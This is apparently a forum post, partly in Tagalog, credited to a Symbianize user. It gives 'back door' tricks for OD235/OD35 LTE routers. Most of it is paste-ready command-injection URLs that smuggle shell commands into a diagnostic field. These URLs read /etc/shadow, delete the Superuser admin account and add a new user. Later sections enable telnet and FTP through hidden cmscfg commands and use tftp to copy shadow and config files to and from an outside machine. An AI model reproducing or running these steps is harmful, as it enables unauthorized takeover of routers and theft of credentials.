OD235 / OD35 Back Door Commands and Tricks

BROWSER BACK DOOR OD235
OPEN FIRST TAB THEN PASTE THIS THEN IT WILL SAYS SUCCESFULLY
http://192.168.254.254/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_monitor_diagnostic&mon_diag_type=0&mon_diag_addr=1+%26+cat+/etc/shadow

OPEN NEW TAB
PASTE THIS COMMAND LINK.DOON LALABAS ANG RESULT
http://192.168.254.254/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start&notrun=1

PAPALITAN MO ANG /etc/shadow depende sa nais mo makita.

CHANGE ADMIN LOGIN SA OD235 ONLY !! USER LOGIN ONLY / BLANK PASSWORD

OPEN FIRST TAB THEN PASTE THIS THEN IT WILL SAYS SUCCESFULLY
http://192.168.254.254/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_monitor_diagnostic&mon_diag_type=0&mon_diag_addr=1+%26+deluser Superuser

OPEN NEW TAB
PASTE THIS COMMAND LINK.DOON LALABAS ANG RESULT
http://192.168.254.254/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start&notrun=1

CHANGE ADMIN LOGIN SA OD235 ONLY !!
OPEN FIRST TAB THEN PASTE THIS THEN IT WILL SAYS SUCCESFULLY
http://192.168.254.254/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_monitor_diagnostic&mon_diag_type=0&mon_diag_addr=1+%26+adduser CRAMFS

OPEN NEW TAB
PASTE THIS COMMAND LINK.DOON LALABAS ANG RESULT
http://192.168.254.254/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start&notrun=1

DIRECTORY LIST

/etc/passwd
/etc/shadow
/mnt/jffs2/conf/user/supplicant.conf
/mnt/jffs2/conf/user/ltesetting.conf
/mnt/jffs2/conf/user/ui.conf
/mnt/jffs2/conf/iser/wmxsetting.conf
/mnt/jffs2/conf/user/sysini.conf

HIDDEN COMMANDS

cmscfg --help
-s SET
-g GET
-r REPLACE
-v VALUE
-n PARAM

SAMPLE COMMAND:
telnetd enable
cmscfg -s -n sys_telnetd -v enable
ftpd enable
cmscfg -s -n sys_ftpd -v enable
TFTP COMMAND

must have tftpd32.exe, set-up your ip to 192.168.15.2 and tftpboot directory

~#cd /mnt/jffs2/conf/user/
~#tftp -g -r /mnt/jffs2/conf/user/sysini.conf 192.168.15.2 sysini.conf---> get file

~#cd /mnt/jffs2/etc/
~#tftp -p -r shadow 192.168.15.2 shadow ---> put file
CHANGE

Credit: Cramfs of Symbianize